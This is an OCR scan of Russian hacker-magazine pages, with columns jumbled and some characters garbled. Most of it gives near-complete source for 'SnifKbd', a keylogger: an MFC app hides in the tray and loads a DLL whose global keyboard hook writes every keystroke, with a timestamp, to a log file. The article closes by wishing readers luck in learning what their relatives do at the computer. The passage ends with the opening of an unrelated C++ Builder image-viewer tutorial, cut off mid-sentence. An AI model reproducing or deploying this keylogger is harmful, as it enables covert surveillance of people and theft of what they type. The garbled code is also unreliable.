SetDlgItemText(IDC _ FILENAME,

стандартную иконку. Для первого

íàäî âî

 

 

 

 

 

 

 

 

 

 

 

 

 

fdlgSave.GetPathName());

 

 

 

 

 

 

 

вкладке Resource, окно проекта в ветке

Dialog

if (m_FileName.IsEmpty())

 

 

 

 

m_LogFile = fdlgSave.GetPathName();

дважды щелкнуть элемент IDD_ABOUTBOX. В

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

появившемся окне можно добавить текст со

 

 

AfxMessageBox(“You

must

choose

a

}

 

 

 

 

 

 

 

своим именем и копирайтом. Эта часть работы

log file before further processing”,

MB_OK

|

 

 

 

 

 

 

 

 

для самых скромных.

 

 

 

 

 

 

 

 

 

MB_ICONSTOP, 0);

 

 

 

 

 

Это весь код для второй кнопки.

 

Компиль прогу (F7) и переходи к следующей

 

 

 

 

 

 

 

 

 

 

return;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

Осталась не прописана одна вещь: ответ на

части.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

щелчок юзера в иконке в tray’е. Надо поэтому

Часть пятая, или делаем DLL-часть

Îí

проверяет, задано

ëè

èìÿ

файла.

написать обработчик и этого события. Так как

m_FileName - это имя, которое ты задал, когда

он не связан с какими-либо элементами глав-

проги

 

 

 

 

 

 

 

 

 

 

 

добавлял к полю ввода строку. Если имя не за-

ного окна, добавлять его придется по-другому.

 

 

 

 

 

 

 

 

 

 

 

 

дано, то выводится окно сообщения. Сразу ни-

Сначала надо открыть вкладку ClassView в окне

Чтобы сварганить DLL’ник, надо создать новый

 

 

же добавь такие строки:

 

 

 

 

проект. В File->New надо выбрать вкладку

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

проекта в левой части экрана. Открыть дерево

Projects и тип проекта Win32 Dynamic-Link

 

 

ShowWindow(SW

_HIDE);

 

 

 

 

и щелкнуть правой кнопкой на элемент

Library (10.jpg). Далее назвать проект “Hook”,

NOTIFYICONDATA

nid;

 

 

 

 

 

CxxxxxxDlg, но не CAboutDlg. В выползшем ме-

так как предполагается, что на выходе будет

nid.cbSize =

sizeof(NOTIFYICONDATA);

 

 

ню выбрать пункт Add Member Function. Поя-

файл hook.dll. Нажимай OK и в окне визарда

 

 

 

 

 

 

nid.hWnd =

GetSafeHwnd();

 

 

 

 

вится окно, в котором в поле Function Type вве-

выбери A simple DLL project (11.jpg). Когда

nid.uID = IDR_

MAINFRAME;

 

 

 

 

äè afx_msg LRESULT, â ïîëå Function Declaration

проект

сгенерится,

понадобится изменить

 

 

nid.uFlags = NIF

_MESSAGE | NIF_ICON | NIF_TIP;

- OnNotifyIcon(WPARAM

wParam,

LPARAM

файлы hook.cpp и stdafx.h. Вот как они должны

 

 

nid.uCallbackMessage = XWM_NOTIFYICON;

 

lParam) (7.jpg). Нажми OK. Появится опять окно

выглядеть.

 

 

 

 

 

 

 

 

 

 

nid.hIcon = m_hIcon;

 

 

 

 

 

исходника. После //TODO... напиши код:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

lstrcpyn(nid.szTip, “Invoke the SnifKbd main win-

 

 

 

 

 

 

 

 

Stdafx.h:

 

 

 

 

 

 

 

 

 

 

 

dow”, 30);

 

 

 

 

 

 

 

 

UINT uID = (UINT) wParam;

 

 

 

 

 

 

 

//

stdafx.h : include file for standard sys-

 

Shell_NotifyIcon(NIM_ADD, &nid);

 

 

 

UINT uMsg = (UINT) lParam;

 

 

 

 

 

 

 

tem include files,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if (uMsg == WM_LBUTTONDOWN)

 

//

or project specific include files that are

Здесь прячется окно и рисуется иконка в tray со

if (uID == IDR_MAINFRAME)

 

used frequently, but

 

 

 

 

 

 

 

 

 

 

всплывающей подсказкой “Invoke the SnifKbd

{

 

 

 

 

 

 

 

//

are changed infrequently

main window”. Затем напиши:

 

 

 

 

 

 

 

 

 

 

 

//

 

 

 

 

 

 

 

 

 

 

 

hmod = LoadLibrary(“hook.dll”);

 

 

 

ShowWindow(SW_SHOW);

 

 

 

 

 

 

 

 

 

 

 

 

 

void (*pInit)(LPCTSTR);

 

 

 

 

SetFocus();

 

 

 

 

 

 

 

#

 

i

 

 

 

 

 

f

pInit

=

(void

(*)(LPCTSTR))GetProc-

NOTIFYICONDATA nid;

 

!defined(AFX_STDAFX_H__38CA5891_6485_11D4_

Address(hmod, “Init”);

 

 

 

 

 

nid.cbSize = sizeof(NOTIFYICONDA-

B8C5_F43705C10A00__INCLUDED_)

 

 

 

 

 

 

 

 

 

 

TA);

 

 

 

 

 

 

 

#define AFX_STDAFX_H__38CA5891_6485_11-

 

pInit(m_LogFile);

 

 

 

 

 

nid.hWnd = GetSafeHwnd();

 

D4_B8C5_F43705C10A00__INCLUDED_

 

 

 

 

 

 

 

 

 

 

nid.uID = IDR_MAINFRAME;

 

 

 

 

 

 

 

 

 

 

 

 

 

Непосредственно

 

перед

строками void

Shell_NotifyIcon(NIM_DELETE, &nid);

#if _MSC_VER > 1000

 

 

 

 

 

 

 

 

 

Cxxxxxxx::Onxxxxxxx() и //TODO напиши:

 

void (*pRelease)();

 

#pragma once

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

pRelease

=

 

 

 

 

(void

#endif // _MSC_VER > 1000

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

HMODULE hmod;

 

 

 

 

 

(*)())GetProcAddress(hmod, “Release”);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

pRelease();

 

 

 

 

 

 

 

// Insert your headers here

 

 

 

 

 

 

 

 

 

Только что мы написали обработчик нажатия на

}

 

 

 

 

 

 

 

#define WIN32_LEAN_AND_MEAN

кнопку “Начать”. Теперь надо придумать, что

return 1;

 

 

 

 

 

 

 

// Exclude rarely-used stuff from Windows headers

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

будет делать прога при нажатии на кнопку “вы-

Этот участок проги выводит главное окно на

 

 

 

 

 

 

 

 

 

 

 

 

бор файла”. Во-первых, надо показать диалог

#include <windows.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сохранения файла под именем. Затем получен-

экран (6-я, 7-я строчки), убирает значок из tray

#include <cstdio>

// Ýòè òðè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ное имя скопировать в строку m_FileName и

(строчки 8-12) и отменяет слежение за клавой

#include <cstring>

//

строки

íàäî

 

 

 

 

 

 

отобразить ее в поле ввода. Аналогично добав-

(строчки 13-15). Чтобы этот обработчик рабо-

#include <ctime>

//

добавить!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ляем обработчик кнопки “выбор файла” и сни-

тал, найди в открытом файле

строчку

 

 

 

 

 

 

 

 

 

 

 

 

зу от //TODO... пишем:

 

 

 

 

BEGIN_MESSAGE_MAP(CxxxxxDlg, CDialog), íî

// TODO: reference additional headers your pro-

 

 

 

 

 

 

 

 

 

 

íå BEGIN_MESSAGE_MAP(CAboutDlg, CDialog),

gram requires here

 

 

 

 

 

 

 

 

 

 

CFileDialog fdlgSave(FALSE, NULL, “keyb.log”);

 

и после нее напиши:

 

 

 

 

 

 

 

//{{AFX_INSERT_LOCATION}}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КОНСТРУКТОР

 

 

 

>СПЕЦВЫПУСК #4

004D

77

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Microsoft Visual C++ will insert additional dec-

 

GetModuleFileName((HINSTANCE)

 

path.txt”);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

larations immediately before the previous line.

g_hMod,

lpszPath, 256);

 

 

FILE* pf = fopen(lpszPath, “w”);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

strcpy(strrchr(lpszPath, ‘\\’) + 1,

fprintf(pf, “%s\n”, szFile);

 

 

 

 

 

 

 

 

#endif // !defined(AFX_STDAFX_H__38-

“logpath.txt”);

 

 

 

fclose(pf);

 

 

 

 

 

 

 

 

 

 

 

CA5891_6485_11D4_B8C5_F43705C10A00__INCL

 

FILE* pf = fopen(lpszPath, “r”);

delete[] lpszPath;

 

 

 

 

 

 

 

 

 

 

UDED_)

 

 

fscanf(pf, “%s”, szLogName);

}

 

 

 

 

 

 

 

 

 

 

 

Hook.cpp:

 

 

fclose(pf);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// hook.cpp : Defines the entry point for the DLL

 

delete[] lpszPath;

 

 

Сам код, который ведет log нажатых клавиш

íà-

 

 

 

 

 

 

 

application.

 

 

}

 

 

ходится в подпрограмме LRESULT CALLBACK

 

 

 

 

 

 

 

 

 

 

 

 

//

 

 

 

 

pFile = fopen(szLogName, “a+”);

HookProc (int nCode, WPARAM wParam, LPARAM

 

 

 

 

 

 

 

 

 

 

 

 

time_t timer;

 

 

lParam). Его можно изменить по твоему жела-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#include “stdafx.h”

 

 

time(&timer);

 

 

нию, например - чтоб он печатал, из какой про-

 

 

 

 

 

 

 

 

 

 

char* p = ctime(&timer);

 

 

ги нажата клавиша. Узнав больше о

виндах

è

 

 

 

 

 

 

 

HANDLE g_hMod;

 

 

p[strlen(p) - 1] = 0;

 

 

кодинге, можно очень серьезно

наворотить

 

 

 

 

 

 

 

TCHAR szLogName[256];

 

 

TCHAR szKeyName[20];

 

 

этот код. Сохрани все и скомпиль DLL’ку (F7).

 

 

 

 

 

 

 

FILE* pFile;

 

 

GetKeyNameText(lParam, szKeyName,

Готовый файл hook.dll надо переписать в один

 

 

 

 

 

 

 

HHOOK hhookKbd;

 

19);

 

 

 

каталог с EXE’шником, и теперь прогой можно

 

 

 

 

 

 

 

 

 

 

 

 

for (int i = 0; i < (lParam &

 

 

пользоваться.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BOOL APIENTRY DllMain(

HANDLE hModule,

0x0000FFFF); i++)

 

 

Часть шестая, или если ничего

íå

 

 

 

 

 

 

 

DWORD ul_reason_for_call, LPVOID lpReserved )

 

fprintf(pFile, “%s - key: %s\n”,

p,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

szKeyName);

 

 

 

получается

 

 

 

 

 

 

 

{

 

 

Õîòÿ ýòà

программа и

неслож-

 

 

 

 

 

 

 

 

 

 

 

hModule;

g_hMod =

Хотя эта программа и

íåñ-

 

 

 

 

 

 

 

 

 

 

 

 

 

ная, она все же не для нович-

ложная, она все же не

äëÿ

 

 

 

 

 

 

 

 

 

return TRUE;

новичка. Возможно,

÷òî

 

 

 

 

 

 

 

 

 

ка. Возможно, что прога сразу

 

 

 

 

 

 

 

}

 

 

прога сразу не скомпилит-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

extern “C” {

не скомпилится или не зара-

ся или не заработает, а

 

 

 

 

 

 

 

ботает, а может просто пове-

может просто повесит ма-

 

 

 

 

 

 

 

 

 

__declspec(dll-

 

 

 

 

 

 

шину. Подожди, не беги за

 

 

 

 

 

 

 

export) void Release();

сит машину. Подожди, не беги

бутылкой. Посмотри, пра-

 

 

 

 

 

 

 

 

 

__declspec(dll-

за бутылкой. Посмотри, пра-

вильно ли ты все сделал и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

export) LRESULT CALLBACK

вильно ли ты все сделал и

переписал.

Помни, что

 

 

 

 

 

 

 

HookProc(int nCode,

переписал. Помни, что заглав-

заглавные

и прописные

 

 

 

 

 

 

 

WPARAM wParam, LPARAM

буквы тоже различаются.

 

 

 

 

 

 

 

lParam);

ные и прописные буквы тоже

Если ничего не помогает

 

 

 

 

 

 

 

 

 

__declspec(dll-

совсем, то

можно залить

 

 

 

 

 

 

 

export) void Init(LPCTSTR

различаются. Если ничего не

себе образец проги на

 

 

 

 

 

 

 

szFile);

помогает совсем, то можно

сайте Х. Он называется

 

 

 

 

 

 

 

};

 

 

залить себе образец проги

SnifKbd.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

void Release()

на сайте Х. Он называется

Окончание, или если

 

 

 

 

 

 

 

{

 

 

SnifKbd.

 

 

 

все получилось :)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь в твоей коллекции

 

 

 

 

 

 

 

UnhookWindowsHookEx(hhookKbd);

 

fclose(pFile);

 

 

очень полезный софт под мастдай, причем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

}

 

 

собственного приготовления. Если много ве-

 

 

 

 

 

 

 

 

 

 

 

 

return CallNextHookEx(hhookKbd,

щей тебе остались непонятными, но заинтере-

 

 

 

 

 

 

 

LRESULT CALLBACK HookProc(int nCode,

nCode, wParam, lParam);

 

 

совали тебя, то пора изучать и C++, и кодинг

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WPARAM wParam, LPARAM lParam)

}

 

 

 

под Windows. Есть масса книжек по этому пово-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

void Init(LPCTSTR szFile)

 

 

ду и куча инфы в Инете. Очень пригодился бы

 

 

 

 

 

{

 

 

 

{

 

 

 

òåáå äèñê ñ Microsoft Developer Network

 

 

 

 

 

 

 

 

 

 

hhookKbd

=

(MSDN), где есть абсолютно вся справка по

 

 

 

 

 

 

 

if (nCode == HC_ACTION && !(lParam

SetWindowsHookEx(WH_KEYBOARD,

HookProc,

любой теме, что взбредет в голову. Без него не

 

 

 

 

 

 

 

 

 

 

 

 

& 0x80000000))

 

(HINSTANCE) g_hMod, 0);

 

 

было бы и этой статьи. Может уже через полго-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

LPTSTR lpszPath = new TCHAR[256];

да ты начнешь делать такие финты на компе,

 

 

 

 

 

 

 

if (!(*szLogName))

 

 

GetModuleFileName((HINSTANCE)

какие самому Б.Г. не снились. А пока - пока,

 

 

 

 

 

{

 

g_hMod, lpszPath, 256);

 

 

удачно тебе узнать, что делают твои родствен-

 

 

 

 

 

 

 

LPTSTR lpszPath = new TCHAR[256];

 

strcpy(strrchr(lpszPath, ‘\\’) + 1, “log-

ники за машиной.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

78

004E

КОНСТРУКТОР

 

>СПЕЦВЫПУСК #4

СМОТРЕЛКА -

ДОМАШНИХ УСЛ

Unforgiven(unfogi@sanet.ru, 60818116)

 

 

Что куда коннектится

 

 

 

Вернемся к реальности. Билдер запущен. Что

Давай дело делать

 

 

 

 

 

ты видишь? Ты видишь три панельки. Верхняя

 

 

Дарова, перец. Вот сидишь ты сейчас, навер-

- там различные кнопки и меню. Она, в прин-

Начнем с менюшки :-). Находишь компонент под

ное, за компом, читаешь Х, смотришь картинки.

ципе, самая главная.

названием MainMenu - он находится в закладке

А вот на компе у тебя наверняка для этого дела

 

 

Standard (второй слева). Как, ты до сих пор не

- для разглядывания картинок - ACDSee стоит. И

Левая панель - Object Inspector. Тут ты будешь

видишь эту закладку? Не видишь... тогда попро-

тыкаешь ты в нее, смотришь порнушку втиха-

задавать свойства всех компонентов и будешь

буй включить монитор. Так вот: кликаешь на

ря... Ну ладно, речь-то сейчас не о порнушке. Я

объяснять им, как работать. Об этом, впрочем,

этой пиктограмме, потом ползешь на свою фор-

тебе о другом говорю. Давай напишем свою

чуть-чуть попозже. И еще ты видишь огромную

му и кидаешь менюху в любое место (она все

прогу для просмотра картинок! Прикинь, приво-

панель, которая вся усыпана точками. Не пу-

равно будет на самом верху :-)). Теперь даб-

дишь ты к себе подругу, садитесь с ней вместе

гайся. Это сделано специально, чтобы тебе

лкликаешь на пиктограмме, которая на форме

подозрительные имейджи смотреть, и тут ты как

было легче размещать компоненты и не приш-

уже лежит - вот, ты видишь новую форму, но

бы случайно тыкаешь мышкой в графу “credits”

лось бегать с линейкой, меряя свой пятнадца-

уже без точек. Называться она должна пример-

или, там, “разработчик”, а в этой графе - ТВОЕ

тидюймовый (хе-хе, монитор :-)). Именно эта

но так: “Form1->MainMenu1”. Здесь ты и бу-

имя. И ты подружке спокойно так выдаешь: “...а,

форма - в точечку - будет основой твоей новой

дешь писать свою первую в жизни пользова-

это меня тут Билл Гейтс, когда мою прогу уви-

супер-хакер-крякер проги под названием Вью-

тельскую менюшку. Слева ты прописываешь в

дел, приглашал к себе работать - я не пошел,

вер :-). Сверху ты видишь кучу кнопок - это

свойстве Caption название меню. Стандартно

лучше буду писать компоненты для 1С...”. По-

компоненты (ну, пимпы, меню, панельки, точ-

пишем “Файл”, а если ты хочешь быстро обра-

верь, после этакой тирады дама - какая бы она

ки) - вот тебе и визуальная среда. Тебе не на-

щаться к этому пункту, то подставь в названии

ни была крутая - твоя! И уж что с ней делать

до описывать самому каждую деталь програм-

еще символ “&” ( получится “&Файл”), и тогда

дальше, я тебе не подскажу. Сам

 

 

 

 

 

при нажатии Alt+Ф (ф - первая

разберешься, что куда коннектит-

ACDSee - отличная

 

буква слова Файл :)) ты увидишь,

ñÿ :).

 

 

программа, но ее тоже

как на этой маленькой панельке

 

 

 

появилось меню “Файл” - это ты

Ну ладно, замечтались. Вернемся

написали. Причем тоже

его сделал! Кликаешь на нем, и

к нашим баранам. Писать будем

живые люди и тоже

 

выскакивает подменю - вот имен-

на С++ Builder - несложно, ви-

 

но им-то мы сейчас и займемся.

зуально - все как положено.

голыми руками. А тебе

Ты кликаешь на этом подменю и

Поэтому срочно беги к ближай-

слабо? Просто открой

точно так же, в свойстве Caption,

шим представителям одноглазой

эту статью, садись

 

пишешь название “&Открыть” -

расы в тельняшках, покупай там у

 

теперь ты уже видишь готовое

них Builder C++ (чем свежее - тем

çà

êîìï

и... вперед!

 

подменю с одним пунктом, но на

лучше), и, если хватит средств, то

 

 

 

 

 

этом мы не остановимся. Точно

можешь прихватить какую-нибудь

 

 

 

 

 

так же ты прописываешь в подме-

книженцию по программировании на C++ - на

мы - ты кликаешь на пиктограмме (во загнул -

ню “Файл” еще два пункта - “&Закрыть” (не за-

будущее. RTFM - было, есть и будет главным

ну, на кнопке с картинкой, в общем) и потом

будь, каждая твоя прога должна классно выгля-

правилом любого кодера.

 

 

 

кликаешь на этой форме, которая в точечку. И

деть... поэтому впиши в следующем пункте

Небо в клеточку - друзья в полосочку

что получается? Правильно, в твоей програм-

просто черточку (-) и ты увидишь, что произой-

ме появился новый компонент. Теперь надо

дет) и “&Выйти”. Вот мы и описали систему ме-

 

 

 

 

 

описать основные свойства компонента (дли-

нюшек - создали, так сказать, базу интерфейса.

Ты уже наверняка запустил C++ Buider и ничего

на, ширина, название, отпечатки пальцев и

Теперь ты находишь в закладке Dialogs компо-

не понял... какая-то панелька в точечках и куча

др.) и, наконец, - самое главное - нужно опи-

нент “OpenPictureDialog”, по старой технологии

кнопок. Главное в нашем деле - не бояться, а

сать действие объекта на какое-либо событие

кликаешь на нем и кидаешь на форму. Ты уже

смело на все жать и испытывать... эээ, погоди

(например, на клик, на двойной клик, на пере-

заметил, что на твоей главной форме появилось

ты. Начнем вот с чего: представим себе нашу

мещение мышки етс). Причем, если вся ви-

то меню, которое ты только что написал? Оно

прогу. Она должна уметь просматривать BMP,

зуальная среда понятна и ламеру - везде надо

уже вполне работает, осталось только описать

EMF, ICO и иже с ними стандартные виндовые

лишь кликать и выбирать, то описывать собы-

его действия. Ты кликаешь на пунктах подменю

файлы графических изображений. Представил?

тия тебе придется на чистом программерском

и описываешь действия, связанные с этими пун-

Ну, стандартные такие виндовые менюшки,

языке С++. Вот, с визуальной средой ты уже и

ктами. Например, в подменю “Открыть”, после

окошко... Вот и ладушки.

 

 

 

знаком :-).

 

даблклика, ты увидишь, как выскочит что-то ти-